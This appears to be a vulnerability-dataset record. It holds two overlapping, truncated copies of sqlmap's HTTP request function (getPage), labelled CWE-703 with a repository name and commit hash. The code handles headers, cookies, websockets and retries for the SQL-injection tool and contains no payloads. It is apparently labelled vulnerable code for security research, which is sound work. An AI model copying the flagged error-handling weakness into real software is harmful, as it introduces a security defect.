                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warn(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,2038512518a5fd1b9b8803942153e1f2527cc08b,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 1:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warn(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
